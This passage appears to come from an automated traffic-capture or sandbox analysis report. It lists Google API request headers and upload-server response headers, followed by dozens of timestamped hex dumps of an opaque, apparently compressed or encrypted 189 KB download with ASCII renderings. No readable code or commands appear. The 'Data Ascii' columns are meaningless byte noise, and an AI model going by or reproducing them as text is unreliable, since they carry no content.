hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context Access-Control-Allow-Methods: GET,HEAD,OPTIONS Content-Length: 189504 Date: Mon, 21 Nov 2022 18:18:36 GMT Expires: Mon, 21 Nov 2022 18:18:36 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=B8gQDA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-11-21 18:18:36 UTC	6	IN	Data Raw: f0 cf 05 f0 b1 e2 a5 83 4e 56 2c b0 f8 29 9b f8 5a db df 70 48 86 1b 7b 88 04 10 ce 6e 09 4e 65 13 2e e1 08 38 ca 77 e6 6c 53 89 6f cf bb 8b 4c a8 c6 59 13 2e 4a 18 1b a5 c4 ff 8c b3 5c 34 73 e8 79 b5 45 f7 0c b3 44 dc df 67 40 44 44 c5 0f 88 54 89 22 c4 5f b3 6e af b5 12 be 9a fe b9 41 94 c9 94 60 c7 ca 3e 88 03 69 4c ab 45 8b e5 3e 67 47 09 f9 d5 92 4f c3 3b 20 e9 87 7d 50 fb 1d be e9 d3 4d f0 68 e0 f9 60 38 03 d7 4d 6a cc 5f b6 72 95 46 7c 52 9a 31 4e 5f 93 8e f8 42 97 7a b4 d3 2f 0f 8c e5 1b 92 81 d6 9e 2c 0a ba 10 08 cb c5 b3 a6 39 db 46 b0 c9 16 a4 7b b1 ed 01 27 e8 f6 c5 29 f6 6c d9 e9 5b 76 d8 6d 22 6f 8e 90 72 55 20 2e 61 f7 52 da 76 ff e2 1a fc 00 fe 21 b0 a4 b9 68 5e a3 7d 26 52 33 5a e5 5a 05 04 cc cd f6 e3 d0 ca 1d 7b 0e 90 fe a5 be f6 8c 65 Data Ascii: NV,)ZpH{nNe.8wlSoLY.J\4syEDg@DDT"_nA`>iLE>gGO; }PMh`8Mj_rF\|R1N_Bz/,9F{')l[vm"orU .aRv!h^}&R3ZZ{e
2022-11-21 18:18:36 UTC	10	IN	Data Raw: e1 6f 07 68 07 c1 21 aa a1 95 b5 1d c5 23 10 6d 5e 81 8a 1c 21 28 97 57 dc 2a c3 5a de 62 5e 91 ae c0 45 03 02 00 7f 20 fc 98 2a 43 b2 38 58 45 ac ce fa 69 c4 82 f9 19 e2 93 ab ca 84 fb bf 52 b4 b1 ed f1 a9 a7 92 f9 ed 65 12 b5 da aa 74 43 be 23 86 eb 2e 75 fb 80 b8 9e d3 f9 46 56 8b ea 4d 57 53 53 90 17 c3 5f 38 3f f1 9e 2a 75 0a 70 11 89 ee 78 28 e1 03 24 59 9f e3 eb 1b a7 87 4b 5c 06 74 2f 66 7e 78 78 70 87 d7 dd 57 aa e6 80 a2 eb 73 cc db 56 71 bf 8f bf 55 ff 0c 63 c9 13 35 de 91 c5 f2 93 37 9d 9a 7d 81 46 a8 ca 51 69 ed 1c 78 44 07 79 50 18 e6 41 49 39 38 9f dd df 52 d1 10 f4 01 70 8e d0 ca 26 09 6a 64 79 0a ea d1 50 81 ed e8 09 e8 df d9 05 1d 42 83 26 61 10 1e 56 b8 55 d3 93 6e 45 d2 8b e6 aa e2 3f 14 9d 08 2e c0 9d 6d 7f e6 68 73 3a 36 c0 2d 3f 88 Data Ascii: oh!#m^!(WZb^E C8XEiRetC#.uFVMWSS_8?*upx($YK\t/f~xxpWsVqUc57}FQixDyPAI98Rp&jdyPB&aVUnE?.mhs:6-?
2022-11-21 18:18:36 UTC	13	IN	Data Raw: 6d 3f e2 8c f4 b0 aa 6c 56 03 46 eb ed 44 67 ed 6e 4b da 19 81 07 fe 77 bd 64 c4 bb 7d 14 9a 8e 50 d2 4d da f3 84 d8 f8 e8 9a 65 73 32 88 ca 6f 8e f4 9b 32 07 e7 a0 71 7f 9b 4f f1 f9 24 d8 cd e2 aa c5 04 16 92 4e 50 7b 3f 9b 30 58 25 22 a3 c6 d1 0c af b0 29 53 b2 54 52 36 16 24 2b 87 ff 29 ec c8 1b ab 36 5a 90 49 58 af 4d 8f 2d 81 e7 c5 50 a0 52 dc f8 33 6e b9 d5 32 41 6d 12 a8 29 b4 d0 5d e3 f2 4a af e5 69 c7 a7 20 1c 46 73 cb 07 65 5f ea 10 b3 66 5f b6 12 91 aa f7 2b 3f 68 2f 0b 71 90 9a 5e 52 6e 08 67 c9 29 2e de 3b 20 10 0c f9 65 6e bc 28 21 03 d9 08 76 4a 7a e3 e0 f5 2a 4b 22 a3 b1 94 88 57 84 ac 3d 4a 91 43 59 cf 0f 9f 75 3a 40 a7 a9 c6 6c 29 66 c2 09 47 53 b7 33 73 c2 41 22 77 8e 0a 42 40 15 5f fc ef 2d e9 0b e3 2b 32 ba dc 5e c1 e6 27 c8 d0 9d ff Data Ascii: m?lVFDgnKwd}PMes2o2qO$NP{?0X%")STR6$+)6ZIXM-PR3n2Am)]Ji Fse_f_+?h/q^Rng).; en(!vJz*K"W=JCYu:@l)fGS3sA"wB@_-+2^'
2022-11-21 18:18:36 UTC	17	IN	Data Raw: d9 ec 39 58 e8 8e cc e8 44 a6 a7 a2 f5 76 77 83 51 17 96 57 42 49 05 ca 99 03 96 9c 60 2e c4 c8 bd 81 9c bd 10 12 47 bf 9b 8b a4 68 04 60 e6 32 cb 58 10 e7 e0 69 4a 7a 0d c8 d5 aa Data Ascii: 9XDvwQWBI`.Gh`2XiJz
2022-11-21 18:18:36 UTC	18	IN	Data Raw: ac 64 a4 1f 16 be f4 75 e5 7c 16 d3 88 36 04 26 94 68 bc 95 4b 23 19 0f 1c d7 e2 29 bd 16 4d 63 63 22 e3 87 40 95 d5 d3 d7 d2 fe 75 d0 77 ba 97 6d 8e 99 2e 23 e5 77 a1 c0 23 5a 84 73 a4 7c 60 b3 df 12 ce d9 17 5b c7 33 c7 4f 97 5d 38 4b e5 63 0b 13 5f d6 5c e4 d4 b1 f6 f1 12 73 62 72 70 04 35 53 f3 74 af 64 ea 8d b9 4e b1 4e 22 be bd 80 48 16 31 f1 c2 e4 54 f9 38 55 24 45 2e a4 11 a4 c1 9b 75 43 7f 0f ab 31 75 99 0e a2 27 f2 53 13 ce dc 17 60 ee bc e4 37 9d 18 1b 5a cc 7b 6f 39 ce 10 b1 15 68 04 7f 6f 20 57 c0 a1 90 4a 46 4e 54 32 b2 4d d3 8e ad 85 d3 62 ab 52 8b 03 86 c4 ac 4d ee 02 b1 57 9d 67 86 53 37 3a 16 72 aa d7 08 5a 08 01 6e 20 3b 99 05 bb ca 0c b1 d7 ac 48 35 33 93 95 28 ba 12 04 f1 b0 91 69 97 fd 4b 64 6f 8b 0b c4 68 5f d4 04 cd d8 2d a4 ee 27 Data Ascii: du\|6&hK#)Mcc"@uwm.#w#Zs\|`[3O]8Kc_\sbrp5StdNN"H1T8U$E.uC1u'S`7Z{o9ho WJFNT2MbRMWgS7:rZn ;H53(iKdoh_-'
2022-11-21 18:18:36 UTC	19	IN	Data Raw: 16 09 91 3c 08 d0 80 52 b6 24 1d f3 31 63 a7 5b 69 a7 41 a2 77 c7 59 4b 0b 29 13 8e db d3 95 8f e9 85 ec 4d d2 77 c6 78 f4 dc 78 6f 67 36 87 21 3d e9 88 dd 93 ce 71 1c 2c 1d 60 e5 8d 7f b6 a6 dc 27 d2 45 5b c9 bf 58 70 5d 95 62 21 0b a1 3a 7a b9 e4 aa 7d d2 69 20 1f 20 22 ae 2d 82 10 cb 88 18 49 af 36 d1 46 1e 21 ce b1 f6 f1 92 b5 7a 11 67 14 dd 49 da d8 16 78 12 5b d5 93 e8 c5 34 0d f2 d2 9a ef d4 8c 2e 2c 10 4c 90 e9 16 40 5f b8 8d 9d 1d a6 3f df df c0 d7 1b d7 2f 52 14 cd 9f e2 2d 65 51 d3 3f c6 9d 01 b6 f0 80 9c 65 a0 be 03 dd c9 d3 1d 92 60 7a bb b0 0a 66 05 d7 07 a7 56 52 bd 0e f4 83 0d c7 e5 20 0a cd 8c 9b 83 fd a7 42 ec 57 5e 96 1c 41 2e 66 9b 0a ce 75 d0 44 a7 64 ef 60 72 26 a5 99 1b ea 2d 0c cd 9d e5 aa 6f fb 60 41 70 1c 29 ba d7 d9 d6 e1 75 bc Data Ascii: <R$1c[iAwYK)Mwxxog6!=q,`'E[Xp]b!:z}i "-I6F!zgIx[4.,L@_?/R-eQ?e`zfVR BW^A.fuDd`r&-o`Ap)u
2022-11-21 18:18:36 UTC	20	IN	Data Raw: 08 45 0a a4 62 58 90 76 20 64 20 9f 13 df 91 09 64 40 c7 3f 30 b9 63 0f 46 0e 7d dc 23 b0 09 89 01 70 3f ad 85 f7 2b 84 52 35 a5 e5 a0 1a 0d 1f 98 e5 62 10 77 44 90 f8 ca 9e 30 01 fa 47 15 54 45 65 4f 13 ec eb ee 35 7f 18 2e f9 8f 82 d2 fe 73 6b 3a 59 82 8e fd fc e2 58 05 f8 a2 32 b7 71 cf c3 bd f4 75 12 09 a7 8e 35 30 10 fb 93 0e 66 10 51 99 f4 0e a0 d1 96 52 ed 0e 12 64 96 e2 45 78 6a a2 ad df 39 d0 45 38 73 54 97 a4 97 a6 ef 03 96 cc 36 3d b0 4e 5e 69 1d 86 19 ea a2 1e 09 ea d0 e3 a9 82 90 a3 f4 34 9a b4 ba 34 30 e2 a8 15 1d de c1 61 d4 48 60 72 39 16 68 04 16 e0 c6 15 be 23 90 21 2d dc 05 18 0e cb 33 8b f7 d0 28 67 27 87 ce c2 a9 1f 14 9a f7 a7 fa a4 79 15 91 59 ee a6 38 74 b2 c0 20 1b c0 d7 1a c0 6f 27 7d 65 3e 16 4f d0 d5 db ed 7d e7 c4 43 05 9e a5 Data Ascii: EbXv d d@?0cF}#p?+R5bwD0GTEeO5.sk:YX2qu50fQRdExj9E8sT6=N^i440aH`r9h#!-3(g'yY8t o'}e>O}C
2022-11-21 18:18:36 UTC	21	IN	Data Raw: 5c ad e4 21 a7 3c 1c 10 86 5b 3a 53 72 82 2c e2 5e bb f6 81 dc eb 88 e9 c3 f7 56 11 72 66 df f7 cd c0 51 1f fc 85 b7 90 37 83 0f 0a 05 44 99 ed 29 11 f0 55 e4 24 39 33 37 b8 e8 a3 0b 90 60 84 03 17 8b 01 de 42 d1 00 9b d9 f1 a7 78 f0 a0 21 3d 64 61 17 1d c7 c9 d7 72 df 4f 42 9e 20 ff de d4 24 c6 e6 28 c0 eb ed 21 b2 e7 6f 21 7b a0 d1 42 d9 ac e6 ed e2 44 55 48 63 3a 23 cf 10 e0 99 f2 6b e3 47 30 0c 6e f5 ce 4d a3 46 57 f0 38 c4 c8 f8 8a 28 c8 b8 8b 3f 02 ca 62 c6 a1 ed ed 2f 54 f2 13 ac 07 e4 8e 9c 06 c1 2f 6b 92 d6 0e bd 04 4e 78 9c 67 bb 80 bf da c0 3d 36 ff a7 bb 80 6c a4 51 ae 94 95 68 4f 65 a9 75 65 51 12 dd c6 a3 97 18 43 55 0d 04 5c c0 b4 f5 68 87 bc 57 a0 b9 9c 30 82 d7 c0 8f 48 f8 17 81 dd 9c 46 eb 86 c7 e5 37 03 94 84 d2 80 a7 c6 b4 b3 38 e1 c7 Data Ascii: \!<[:Sr,^VrfQ7D)U$937`Bx!=darOB $(!o!{BDUHc:#kG0nMFW8(?b/T/kNxg=6lQhOeueQCU\hW0HF78
2022-11-21 18:18:36 UTC	22	IN	Data Raw: 4d 7f a0 14 02 ec 5f 47 69 7b cd b8 d5 a2 20 b4 fb 0a c6 0d 39 a0 19 eb 06 0a 9e 64 03 ab 07 8c 0b a8 11 f7 ab f9 ca 3c e8 bc e2 04 f9 d7 7c 94 9d f5 82 1b e3 9e 14 5f 9a 56 61 df 4f 71 8e de 65 b0 af 4a 49 07 60 ba 80 ea 1c 3c 42 2a 19 ea 86 05 bb 7f 5d 7c 2b 85 c6 c1 1d 12 6e 75 68 6c ed 0c 38 3c be c7 bd 88 36 61 e4 a0 c0 23 65 15 d0 87 ea 29 15 be cd 73 64 b1 fb 59 96 c9 94 5f ad a1 0b 8c a3 17 40 13 ea 53 67 2b e4 4f 9d 13 93 57 30 b3 76 c0 92 38 b2 fa bf c9 f4 7f a2 02 f5 7a c7 39 48 03 1c 2c fd 34 f7 76 52 91 2f 9a 28 96 bc e2 ff da 13 ff 30 a3 c0 47 b5 41 e7 a3 52 99 d1 f4 fd 62 15 9a 60 5e 99 43 99 31 4c b9 33 39 29 81 0b 4a 4b 4c 75 79 04 d1 ec d3 ff c6 0d d9 b0 27 f3 11 9f 50 cf 76 9d 63 eb aa 34 5e 5c 90 7e 26 f1 af 18 81 e1 e1 fa 04 84 6a 24 Data Ascii: M_Gi{ 9d<\|_VaOqeJI`<B*]\|+nuhl8<6a#e)sdY_@Sg+OW0v8z9H,4vR/(0GARb`^C1L39)JKLuy'Pvc4^\~&j$
2022-11-21 18:18:36 UTC	24	IN	Data Raw: 98 41 53 85 a0 78 78 99 6a 34 ef 3f b5 9c b5 86 74 40 e4 35 29 4f 62 de 98 c7 f0 a7 40 20 86 f7 fe e5 29 4d a7 9d 87 fb d3 df 55 29 71 0b 16 77 4a d4 61 48 68 77 30 28 1f 64 10 4e fd c7 18 cc 71 7f c7 f8 94 0a f1 6d a0 9e da 8a cd a4 52 a8 aa 13 ee d1 38 a0 37 fa 02 5b 2f 4e 7c 2c a4 38 f8 f9 da 85 09 5e 92 cc 3d 5f 94 fa 96 39 98 e0 1f 18 61 ca a7 01 d7 96 86 4e 32 47 fc b9 3c c1 e9 91 46 81 fc e8 d1 2a 2d 3c 30 cd cf 18 60 7a 0c 2f cd cd eb 73 ee f3 64 4b 6a 0a 85 8b d3 47 52 29 20 80 39 1e 38 51 8a f1 1f 9e 13 bf 78 c0 e4 61 ee c0 a8 46 5e a2 9c 53 a3 ce f6 4b 12 cc d4 d4 71 53 6f 2d 87 08 dd 53 bf 6b f6 99 80 ad a2 fb 7e a8 ee 76 16 01 31 5b 47 6b ea 33 8e 9f 55 5b fe 8a 3d da 68 37 a2 12 d3 48 61 ea 87 6a 6f 8a 27 3a 19 5e c3 ea 8b c8 a5 bd 64 59 c4 Data Ascii: ASxxj4?t@5)Ob@ )MU)qwJaHhw0(dNqmR87[/N\|,8^=_9aN2G<F*-<0`z/sdKjGR) 98QxaF^SKqSo-Sk~v1[Gk3U[=h7Hajo':^dY
2022-11-21 18:18:36 UTC	25	IN	Data Raw: 94 5c 9f ae 35 7a 4b d3 c7 c1 9e ef 57 4d 90 62 dd dc 3b 84 54 35 e1 2a 5f f0 bb 81 8d 00 3c 88 69 a9 0d 38 0d c8 98 2f 90 72 0d 5f 75 06 b5 79 e0 f5 a2 ab 50 18 ac 6b fc c6 39 6d b0 47 4e 88 4c 68 05 38 15 de 9f d3 a1 da b8 b7 cc d6 28 37 5b 57 e6 1a f8 8c 3a 08 c8 52 9c 55 ff c0 8b a9 a9 ea ec 00 86 f9 99 a6 b7 c3 7d 86 6e 92 96 80 c8 f1 9b d4 f4 6e 91 b1 b8 da 5c 3f 14 be 97 cd 11 14 09 7c 4a 12 ac 67 b7 3c 15 d2 78 ff e7 68 eb 39 d1 a0 99 ba 44 b9 3a 3e 4f 41 ea 6d 1c fa a8 60 e9 8b 55 00 f3 cd 07 5a 3a 4f ed 55 b3 3a ad ec 02 28 b6 1d 59 c6 ca 51 cc 0a 1b 91 fc 2c 80 fb 73 f9 0d 35 21 fa 7d 7f a7 e2 b8 b0 96 c1 4e 53 2c 7e e0 8e 3c 35 49 f5 94 d9 88 46 eb 5d f1 fd 10 9f 0e 0c 24 18 53 30 8b eb 50 fb 9e ec f5 27 fb 0d ae 7c 92 b2 19 74 df f5 e8 36 fb Data Ascii: \5zKWMb;T5*_<i8/r_uyPk9mGNLh8(7[W:RU}nn\?\|Jg<xh9D:>OAm`UZ:OU:(YQ,s5!}NS,~<5IF]$S0P'\|t6
2022-11-21 18:18:36 UTC	26	IN	Data Raw: 3d 3a f6 fc b5 69 b0 bc 10 19 99 70 42 42 5f d1 81 36 72 70 5c 7f 67 11 fb e4 0c 81 a8 4c f5 b0 20 e5 4a 5a 20 de da 7d cf 3b 8f 12 8b 13 b6 20 e9 9f 7f 57 c2 7d ff 30 f6 8e 61 37 e0 4d dc 10 7f 6d 5f 58 84 3d f9 73 8a a6 71 93 00 ff c9 b1 71 5e db b5 a6 bc fb 57 d3 38 cf d0 25 46 ed 8a 39 9b ea c1 2e 2a dc 83 ee 38 9c 9f c9 1e 0b 94 e2 b8 a9 8b 4d ae 81 0c 25 60 ce 64 8b 9c a7 91 0a 83 c7 c9 e3 12 46 15 2d 53 43 29 c1 aa 83 1c dd 86 92 c5 26 05 6a c0 18 bc 4a 76 14 cd dc dd 58 a7 4b b1 ab 74 0b 4a f7 2c 72 21 7e f8 fe 21 c5 9e d5 20 ef fc 75 fd ed 61 ec 96 35 4e 9d f7 e4 fa 51 86 df e8 47 72 42 20 56 b4 c6 68 9c 02 12 82 27 60 0c 02 80 f2 90 40 b1 fa 11 0a 28 9f 0d 05 cc af e9 66 ba b6 09 aa 3a 2a 25 9a ec 4e 3d e9 db e3 1b 47 ad a2 76 8d 61 3d 1a d3 d2 Data Ascii: =:ipBB_6rp\gL JZ }; W}0a7Mm_X=sqq^W8%F9.8M%`dF-SC)&jJvXKtJ,r!~! ua5NQGrB Vh'`@(f:%N=Gva=
2022-11-21 18:18:36 UTC	27	IN	Data Raw: fd 47 13 54 e8 e8 9d 59 fb 42 fe dc d3 83 c8 cf 3a bb aa e5 72 14 ed f4 7a 01 47 53 ba 65 23 5c 68 60 57 f7 e7 47 fd fe 8a c2 2d b4 00 8e e6 d4 63 52 6b 3c 89 9f 54 f7 8b 0a b9 30 e1 e6 12 0f ae 44 e1 c5 0d 41 c7 93 8d d4 17 0f 1b f7 ff 40 09 a8 5e fe 4e 65 c4 b1 eb 9e 7c 29 34 af 1e b0 ae 12 6f 71 33 e0 7e 90 a5 ce 5e 6b 8b 77 44 d6 de 7b 42 08 12 ad e0 7d bd 8f 3c a7 f1 aa d9 a7 20 ac 9f fd cb bb 75 dc 98 3f f3 d0 f9 7c 95 75 96 65 9f bc 5f 87 47 c6 22 f1 e3 79 7b d8 af 44 56 06 87 21 90 19 5a ed 7d a3 f3 37 90 3a a3 8b 07 18 fa 1d c3 58 4f 1f cb 4a 60 6f 70 59 59 df 66 20 7f 15 50 13 49 6c 1c bf 44 48 37 5d 2a 14 85 f7 cb a3 0e 5d 24 53 37 ce a7 59 e0 ce cf 0c e0 3e 5b 91 3d 07 a0 ef 67 29 be 4b af 70 5f 89 8e 4e 03 17 b8 cd 6f ec 6a da a8 c1 b1 b3 b7 Data Ascii: GTYB:rzGSe#\h`WG-cRk<T0DA@^Ne\|)4oq3~^kwD{B}< u?\|ue_G"y{DV!Z}7:XOJ`opYYf PIlDH7]*]$S7Y>[=g)Kp_Noj
2022-11-21 18:18:36 UTC	29	IN	Data Raw: 02 ba 6e e0 7b 80 72 f2 f4 89 51 67 19 aa 05 fe 49 48 9d 8f 08 5b 60 e4 59 f4 7c 1b 8a 85 c3 89 0d b3 e1 18 35 5b 35 cf 8e e6 65 4e a4 09 83 d3 16 f9 e3 0a db 7a 07 00 a5 f9 97 20 d4 41 a3 cc f3 04 52 a3 2a 63 5e 59 e2 74 e2 9a 51 02 a7 3b 8b fe df a9 c0 11 ff 56 90 de 10 37 54 34 5b 4a 3a 3b 48 1c 99 ce 92 bd 02 e4 16 3e b8 8a 35 12 bd 1e ba 13 a2 15 28 e6 31 49 2f 88 36 e9 87 49 aa 56 21 97 70 18 fe 94 4d 9b bb e3 a1 96 7e c2 74 a4 45 c0 20 9b 7f a8 22 2a 6c f8 94 f4 80 8e 03 b9 3b 89 8c fa 54 36 22 ce 13 92 15 bb dc dc 39 b8 1b 24 cf 9a b3 4c 75 39 7d 8a f7 b7 71 d8 71 42 5b 39 8a e9 00 c8 6c 5d 53 dd bd 33 ad da c4 2b 3e 4d 13 00 dd 9c 7c 8e 5f 21 01 9a b2 6b 12 d6 24 69 b1 13 cd f6 b4 50 d5 8c df 2a 96 50 f5 2f 4b fc 52 0e 85 42 14 b3 88 03 8c c6 6c Data Ascii: n{rQgIH[`Y\|5[5eNz ARc^YtQ;V7T4[J:;H>5(1I/6IV!pM~tE "l;T6"9$Lu9}qqB[9l]S3+>M\|_!k$iP*P/KRBl
2022-11-21 18:18:36 UTC	30	IN	Data Raw: fd 5a e2 f4 d0 47 c4 2c af dc 05 a0 63 e9 31 48 06 c7 b9 b8 25 99 57 e2 6c 8d e3 f3 b8 0a a5 53 94 4b 1d 01 dc 1a b5 e9 1f 29 37 a0 1b cc 94 03 6b 39 17 70 a5 cd ff ab 40 3e a3 f8 5a 0a 32 2e f2 00 9c 07 ae da a6 ff 5b 20 fe de ef 8a b8 16 83 a2 99 99 07 49 66 8f 9c a5 0b fc c7 fc 19 58 b3 bb 1d 67 af 7c 3d b7 89 9f 9e 1d 02 65 d6 36 fb bc de d8 67 ee 32 11 ad 2f 35 93 07 20 e8 48 86 da e6 d8 ee 1d 1a 71 e4 f7 55 ed 25 07 38 e9 8a b1 2d 96 a2 b7 d8 80 6d 97 81 ec 78 ad ae b5 8c d7 6d 7e 67 11 7d a1 76 ce af 33 71 70 b9 66 52 71 5c 44 4f ac cd 55 90 51 d8 5e cf 87 9d 0d b6 5e af ad 4d 49 ad 47 dc b0 b4 55 44 18 2e 2f d0 82 85 11 56 78 0e 62 b5 5c cb 68 dd 66 47 84 c1 33 02 90 f3 5a f3 e7 db 64 24 df f5 61 b1 e3 0d a1 aa 7b 6a 19 b8 79 26 2b 44 5e 3c 90 6b Data Ascii: ZG,c1H%WlSK)7k9p@>Z2.[ IfXg\|=e6g2/5 HqU%8-mxm~g}v3qpfRq\DOUQ^^MIGUD./Vxb\hfG3Zd$a{jy&+D^<k
2022-11-21 18:18:36 UTC	31	IN	Data Raw: f8 3d c2 e3 72 e9 ab de 1f 37 be fe c4 64 a6 e2 d6 1d 64 2c e5 8a 94 10 82 1e c9 6e ff 6f a9 d8 5a a4 0e 61 34 d6 5c 3e 94 54 10 08 b6 37 88 d5 bb 83 2f 4b 03 6b 74 8f d8 b6 f6 9c 3f 21 08 91 ac 10 d3 5d 53 02 70 78 bb fe 0b 23 03 9b 4f 2f b2 e9 fc be 78 b6 0b 93 de bf 23 a7 cb 0b 0c 42 f5 9e d9 f0 7a 15 02 f8 1c df f6 42 62 31 a4 07 9a c8 48 55 98 22 a9 ed 92 20 55 40 92 c4 f3 39 64 cd 2c 73 44 ca fc 33 5f f6 c6 6e d2 0a 3c 98 06 17 35 cf f6 c6 19 67 a9 f4 5f 2b 3e d3 82 ba 7c 64 48 f1 c5 cd d5 f3 88 84 92 51 ce 7b 32 08 3d 86 71 67 22 78 52 ba a6 cd 81 d1 44 90 52 48 fd 9f 1b 48 cf 1c fb af b5 77 e5 f5 38 94 76 fc d2 db 4c 25 72 40 58 8a b7 38 2b c2 e7 05 38 df 8d 87 db ef fc f1 b7 9e 3f 04 96 66 35 45 f1 a2 ff c3 fe 39 ef 04 c0 c9 cd c2 fa 5e 5b 4e fc Data Ascii: =r7dd,noZa4\>T7/Kkt?!]Spx#O/x#BzBb1HU" U@9d,sD3_n<5g_+>\|dHQ{2=qg"xRDRHHw8vL%r@X8+8?f5E9^[N
2022-11-21 18:18:36 UTC	32	IN	Data Raw: 37 6f bf c2 e8 bb 12 ab 4b 03 10 1c a6 dd 2e 8a f0 9c 40 13 42 96 56 27 03 54 da 36 58 d5 cc 5b f4 7f 8b af 2c a7 60 83 cb bf 25 28 1b c1 2f c2 0b 4e 56 0d 80 e2 ab 9b 3a 5b 2a 50 9d 74 53 62 42 6c 21 0f 94 89 f3 8e 34 26 0e 53 07 1b 15 1a 49 de 82 a8 db aa 3e 86 5d 5a a8 21 4c 16 45 9e 09 58 02 1d 0b 0b 0c fa cc a8 82 e4 ec f4 b6 4a 6d d5 f6 32 3e ed 1f d5 23 af dd 70 98 b0 b9 50 e6 4c a3 48 04 19 a0 86 35 01 ac f4 e1 a2 8b 48 6c ba 48 8a 1c 9b 65 a9 21 d7 cd b2 1c ac 6f f7 d9 aa 2e 35 89 9a 09 92 33 23 cc c0 29 92 aa 82 ca 7e fa 5c da 96 ea af 30 09 41 b0 b5 28 79 69 37 a9 4f 48 dc 13 e0 bd ea 97 6b 9a fd 38 f4 c6 bd 80 55 95 f5 ca 82 1d 21 89 bd cc 82 18 93 88 1f d9 00 f0 fd 77 ae 13 91 01 4b 44 b1 16 f0 df e2 41 1a 71 1b 86 e1 1c 83 c0 e2 02 b0 c2 bc Data Ascii: 7oK.@BV'T6X[,`%(/NV:[*PtSbBl!4&SI>]Z!LEXJm2>#pPLH5HlHe!o.53#)~\0A(yi7OHk8U!wKDAq
2022-11-21 18:18:36 UTC	33	IN	Data Raw: 76 1a 44 6e e7 4f cf 47 be 53 9b fa d3 14 f0 ef 1c 7c 13 fe e5 bc 14 da 9b 09 5e 0f cf 35 12 bd 32 0d 59 f3 02 60 8f f4 f2 8c 12 ca d3 f6 aa 2f 3c 5a 8c 2e 72 f4 55 c3 8d a6 19 27 a2 ea bf 80 65 d5 6f 95 a3 87 91 53 8a d3 ec 69 9c 6e aa 5e 7e 4e 4f 03 19 8b 1a 61 94 50 3e 67 56 4e 5f cf 80 06 41 c0 68 dd 7a b6 12 b0 79 b0 Data Ascii: vDnOGS\|^52Y`/<Z.rU'eoSin^~NOaP>gVN_Ahzy
2022-11-21 18:18:36 UTC	34	IN	Data Raw: 03 ea c5 ad 06 2a a5 29 1a 17 ee 08 af 19 6e b6 ac 0f 32 e6 19 a8 2e 57 32 b2 e3 dd 92 84 04 e1 3e d2 ec a0 6f e0 af 5d 22 55 08 56 88 9d b7 32 ea 1c 69 89 ab d2 b4 64 2c bc 06 32 c7 29 89 91 01 a4 98 6f 32 4b 1d c6 01 e9 a2 c4 f8 9e bc 83 40 f8 3b f8 7d 0c 0a d3 8a 55 72 5d 2a 97 be ca 0f 0f 5a d4 77 27 bd 1d 62 8d 3a ee f9 0b f2 f2 d4 db 1a 37 c6 f7 ed cc 6e ff 89 d8 d1 5f e7 06 55 7b 90 fa ad 37 ee 60 76 47 7b cb b5 4d c6 88 23 a3 9b dc 73 31 6c b7 df af 32 56 50 d9 d4 b6 73 58 7b a6 bd 9c e0 e5 68 e0 a3 8e 85 d3 84 e5 fc 4e 22 89 53 91 11 f2 14 a6 bd 4b d1 b7 33 1b fb 67 f4 f1 41 a4 b3 d5 e7 4d 95 cd c4 3b 53 7a 2c de 17 9f 18 52 57 23 66 b6 85 23 1c bd b1 03 60 37 cf 01 25 18 74 d2 0b 54 7b 26 cc 1c ed 89 d7 e9 c2 0b 5b 2f 2d 34 ef c5 c3 6b 24 7d 7a Data Ascii: 